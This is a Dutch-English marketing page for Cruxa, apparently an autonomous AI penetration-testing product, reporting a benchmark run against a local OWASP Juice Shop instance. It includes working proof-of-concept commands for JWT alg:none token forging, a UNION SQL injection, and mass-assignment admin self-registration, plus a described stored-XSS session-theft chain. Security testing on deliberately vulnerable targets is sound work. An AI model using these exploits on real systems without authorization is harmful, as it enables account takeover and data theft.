Open benchmark · OWASP Juice Shop · volledig autonoom · 10 juli 2026 Open benchmark · OWASP Juice Shop · fully autonomous · 10 July 2026

Een scanner dumpt een lijst.
Cruxa redeneert tot een overname.

A scanner dumps a list.
Cruxa reasons its way to takeover.

Cruxa loste 26 officiële OWASP Juice Shop-challenges volledig autonoom op — zonder hints — en bevestigde 13 exploiteerbare kwetsbaarheden met reproduceerbaar bewijs, samengevoegd tot 3 complete aanvalsketens. Elke bevinding heeft een werkende Proof-of-Concept en een concrete code-fix.

Cruxa autonomously solved 26 official OWASP Juice Shop challenges — no hints — and confirmed 13 exploitable vulnerabilities with reproducible proof, composed into 3 complete attack chains. Every finding has a working Proof-of-Concept and a concrete code fix.

26
Officiële challenges
autonoom opgelost
Official challenges
solved autonomously
13
Onafhankelijk bevestigde
kwetsbaarheden
Independently confirmed
vulnerabilities
3
Complete
aanvalsketens
Complete
attack chains
0/31
Agents gefaald
(volledige run)
Agents failed
(full run)
Benchmarkresultaat · OWASP Juice ShopBenchmark result · OWASP Juice Shop
↓ Download het rapport↓ Download the report
  • 26 officiële challenges opgelost — elk een andere aanvalstechniek, zonder hints26 official challenges solved — each a different attack technique, no hints
  • 13 bevestigde, exploiteerbare kwetsbaarheden13 confirmed, exploitable vulnerabilities
  • 3 volledige aanvalsketens tot admin-overname3 complete attack chains to admin takeover
  • 0 agent-failures in de volledige run0 agent failures across the full run
  • Volledig autonoom — geen menselijke aansturing van de scanFully autonomous — no human steering of the scan
  • Reproduceerbare PoC per bevinding, met code-fixReproducible PoC per finding, with a code fix
Waarom deze targetWhy this target

Een opzettelijk kwetsbare app — en dat is precies het punt

A deliberately vulnerable app — and that is exactly the point

OWASP Juice Shop is de meest gebruikte doelbewust-kwetsbare webapplicatie ter wereld. Dat er kwetsbaarheden in zitten is géén verrassing — en dus geen prestatie om te vinden.

OWASP Juice Shop is the most-used deliberately-vulnerable web application in the world. That it contains vulnerabilities is no surprise — and therefore no achievement to find.

Wat deze benchmark laat zien is iets anders: wat een volledig autonome engine er zonder enige aansturing uithaalt, hoe hard het bewijs is, en of hij losse zwaktes zelfstandig combineert tot een aanval. Het is bovendien de enige target die we volledig transparant mét werkende PoC mogen tonen — er is geen klant om te beschermen. Wat je hieronder ziet is dus letterlijk reproduceerbaar.

What this benchmark shows is different: what a fully autonomous engine extracts without any steering, how hard the evidence is, and whether it independently combines separate weaknesses into an attack. It is also the only target we may show fully transparently, with a working PoC — there is no client to protect. So what you see below is literally reproducible.

Het verschilThe difference

Redeneren, geen patroon-matchen

Reasoning, not pattern-matching

Veel traditionele DAST-tools richten zich op het detecteren van lósse kwetsbaarheden: payload, response, signature-match. Cruxa gaat een stap verder — het bouwt een hypothese, valideert die met bewijs, itereert op het resultaat, en combineert bevindingen tot reproduceerbare aanvalsketens.

Many traditional DAST tools focus on detecting individual vulnerabilities: payload, response, signature match. Cruxa goes a step further — it builds a hypothesis, validates it with evidence, iterates on the result, and combines findings into reproducible attack chains.

Klassieke scannerClassic scanner
01 payload
02 response
03 signature-match
04 klaar — losse meldingdone — isolated alert
Geen model, geen vervolgstap, veel ruis.No model, no follow-up, lots of noise.
Cruxa — multi-agent
01 recon + JS-bundle-analyserecon + JS-bundle analysis
02 hypothese-generatiehypothesis generation
03 exploit-iteratie tot aangetoonde impactexploit iteration until demonstrated impact
04 keten-synthese + bewijs-poortchain synthesis + evidence gate
Redeneert: "deze autz-lat + dat opgeslagen script + die sessie = stille admin-overname."Reasons: "this authz gap + that stored script + that session = silent admin takeover."
Bewijs-disciplineEvidence discipline

De kracht zit evenzeer in wat er níét in staat

The strength lies as much in what is left out

Uit 166 ruwe findings liet onze eigen geautomatiseerde bewijs-poort er slechts 9 direct door — amper 5%. 120 werden geblokkeerd wegens onvoldoende hard bewijs (een HTTP-status zonder aangetoond neveneffect, hypothetische framing, of dubbele detectie), en 37 gemarkeerd voor handmatige verificatie. Van die 37 hielden er na onafhankelijke reproductie 4 stand — samen met de 9 automatisch bevestigde vormen zij de 13 bevindingen in dit rapport. Precies het onderscheid tussen "een scanner riep iets" en "onafhankelijk gereproduceerd".

From 166 raw findings, our own automated evidence gate cleared just 9 outright — barely 5%. 120 were blocked for insufficient hard evidence (an HTTP status without a demonstrated side-effect, hypothetical framing, or duplicate detection), and 37 flagged for manual verification. Of those 37, four held up after independent reproduction — together with the 9 auto-confirmed, they form the 13 findings in this report. Exactly the difference between "a scanner claimed something" and "independently reproduced".

Ruwe findings geëvalueerdRaw findings evaluated166
Geblokkeerd — onvoldoende bewijsBlocked — insufficient evidence120 · 72%
Handmatige verificatie vereistManual verification required37 · 22%
Direct door de poort bevestigdConfirmed outright by the gate9 · 5%

Beschermde admin-endpoints (/api/Cards, /api/Addresss, /api/PrivacyRequests) gaven correct 401/403 — goede toegangscontrole, expliciet uitgesloten als vector. Protected admin endpoints (/api/Cards, /api/Addresss, /api/PrivacyRequests) returned a correct 401/403 — good access control, explicitly excluded as a vector.

5
P1 — KritiekP1 — Critical
5
P2 — HoogP2 — High
3
P3 — MiddelP3 — Medium
Werkend bewijs · 3 van de 13Working proof · 3 of 13

Elke bevinding is reproduceerbaar

Every finding is reproducible

Geen theorie. Hieronder drie kritieke bevindingen met de exacte PoC — allemaal ongeauthenticeerd, allemaal live gereproduceerd tegen het geteste oppervlak.

No theory. Below are three critical findings with the exact PoC — all unauthenticated, all reproduced live against the tested surface.

P1 — KritiekP1 — Critical JWT alg:none — vervalst admin-token zonder handtekeningJWT alg:none — forged admin token, no signature CWE-347 · A02:2021

De JWT-verificatie accepteert tokens met alg:none. Een aanvaller vervalst elke identiteit — inclusief admin — zónder de privésleutel te kennen.

JWT verification accepts tokens with alg:none. An attacker forges any identity — including admin — without knowing the private key.

# Vervals een admin-JWT met alg:none (geen sleutel nodig)# Forge an admin JWT with alg:none (no key needed)
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
PAYLOAD=$(echo -n '{"data":{"id":1,"email":"[email protected]","role":"admin"}}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
FORGED="${HEADER}.${PAYLOAD}."

curl -s -H "Authorization: Bearer $FORGED" http://juice-shop.localhost/api/Users | jq '.data | length'
# → 34   (volledige gebruikerslijst geretourneerd op een ONgesigneerd token)# → 34   (full user list returned on an UNsigned token)
Ongesigneerd token geaccepteerd → volledige gebruikersdatabase (34 accounts) geretourneerd. Zonder handtekeningcontrole is elke identiteit — inclusief admin — te vervalsen; het authenticatiemodel is volledig omzeild.Unsigned token accepted → full user database (34 accounts) returned. With no signature check, any identity — including admin — can be forged; the authentication model is fully bypassed.
P1 — KritiekP1 — Critical UNION SQL-injectie — 23 gebruikers ongeauthenticeerd geëxtraheerdUNION SQL injection — 23 users extracted unauthenticated CWE-89 · A03:2021

Het productzoek-endpoint interpoleert de zoekterm rechtstreeks in een SQL-query. Een UNION-injectie leest willekeurige tabellen uit — inclusief de volledige Users-tabel met e-mailadressen en wachtwoord-hashes.

The product-search endpoint interpolates the search term directly into a SQL query. A UNION injection reads arbitrary tables — including the full Users table with email addresses and password hashes.

# Ongeauthenticeerde UNION-injectie op het zoek-endpoint# Unauthenticated UNION injection on the search endpoint
curl -s "http://juice-shop.localhost/rest/products/search?q=<UNION-payload>"
# → response.data bevat 34 gebruikersrecords:# → response.data contains 34 user records:
#   id=1  [email protected]  password=0192023a7bbd73250516f069df18b500
#   id=4  [email protected]  ...
Data-exfiltratie: 34 records met e-mail + MD5-hash, volledig ongeauthenticeerd → triviaal offline te kraken.Data exfiltration: 34 records with email + MD5 hash, fully unauthenticated → trivial to crack offline.
P1 — KritiekP1 — Critical Mass-assignment — ongeauthenticeerde admin-zelfregistratieMass assignment — unauthenticated admin self-registration CWE-915 · A08:2021

Het registratie-endpoint accepteert een role-veld uit de request-body zonder server-side validatie. Elke bezoeker registreert in één request een admin-account.

The registration endpoint accepts a role field from the request body without server-side validation. Any visitor registers an admin account in a single request.

curl -si -X POST http://juice-shop.localhost/api/Users \
  -H 'Content-Type: application/json' \
  -d '{"email":"[email protected]","password":"Attack3r!","role":"admin"}'
# → HTTP/1.1 201 Created
# → {"data":{"id":36,"email":"[email protected]","role":"admin", ...}}
Nul-drempel privilege-escalatie: bevestigde role:admin in één HTTP-request, zonder enige voorkennis.Zero-friction privilege escalation: confirmed role:admin in one HTTP request, without any prior knowledge.
Waar losse bevindingen samenkomenWhere separate findings converge

Keten: gewone klant → stille admin-sessie-overname

Chain: ordinary customer → silent admin-session takeover

Dit is waar Cruxa zich onderscheidt van een scanner: het combineert losse bevindingen tot een compleet aanvalsscenario dat individuele checks nooit zien. De opgeslagen XSS-payload is bevestigd aanwezig en via de autorisatie-fout voor elke klant uitleesbaar; zodra een beheerder het paneel opent, vuurt die in diens browser en valt de admin-sessie — terwijl de aanvaller nooit zelf admin-rechten had.

This is where Cruxa distinguishes itself from a scanner: it combines separate findings into a complete attack scenario that individual checks never see. The stored XSS payload is confirmed present and readable by any customer through the authorization flaw; the moment an admin opens the panel, it fires in their browser and the admin session falls — while the attacker never held admin rights.

1
Enumereer alle gebruikers via broken function-level authorizationEnumerate all users via broken function-level authorization (GET /api/Users — P2-06)
2
Lees de admin-gebruikersnaam die een opgeslagen XSS-payload bevatRead the admin username that contains a stored XSS payload (GET /api/Users/1 — P2-09)
3
Wacht passief tot een admin het /administration-paneel opentWait passively until an admin opens the /administration panel
4
De XSS vuurt in de admin-browser en exfiltreert de admin-sessieThe XSS fires in the admin browser and exfiltrates the admin session
5
Volledige admin-controle — zonder ooit admin-rechten te hebben aangevraagdFull admin control — without ever having requested admin rights

Twee andere ketens tonen drie onafhankelijke paden naar volledige admin-overname zónder inloggegevens, en cross-account order-sabotage. Het feit dat het dichten van één pad de andere niet raakt is zélf een bevinding.

Two other chains show three independent paths to full admin takeover without credentials, plus cross-account order sabotage. The fact that closing one path does not affect the others is itself a finding.

Het volledige rapportThe full report

Dit is letterlijk wat je krijgt

This is literally what you get

Alle 13 bevindingen, 3 aanvalsketens, per bevinding een werkende PoC en een concrete code-fix in de taal van de applicatie — plus compliance-mapping (OWASP Top 10, CWE, AVG, PCI-DSS).

All 13 findings, 3 attack chains, a working PoC per finding and a concrete code fix in the application's language — plus compliance mapping (OWASP Top 10, CWE, GDPR, PCI-DSS).

Cruxa Benchmark-rapport — OWASP Juice ShopCruxa Benchmark report — OWASP Juice Shop

Volledig autonome run · onafhankelijk gereproduceerd. Geen account, geen e-mail vereist.Fully autonomous run · independently reproduced. No account, no email required.

Wil je dit op jóuw systeem?

Want this on your system?

Begin met een gratis, passieve exposure-check — geen account, geen betaling. Of laat Cruxa een volledige autonome scan draaien met bewijs en oplossingen.

Start with a free, passive exposure check — no account, no payment. Or let Cruxa run a full autonomous scan with evidence and fixes.

Deze benchmark draaide tegen een lokale instantie van OWASP Juice Shop — een publiek, doelbewust kwetsbaar referentieproject dat expliciet bedoeld is voor security-onderzoek. Geen productiesysteem en geen data van derden betrokken. Alle scans van klant-systemen gebeuren uitsluitend met toestemming. This benchmark ran against a local instance of OWASP Juice Shop — a public, deliberately vulnerable reference project explicitly intended for security research. No production system and no third-party data involved. All scans of client systems are performed only with permission.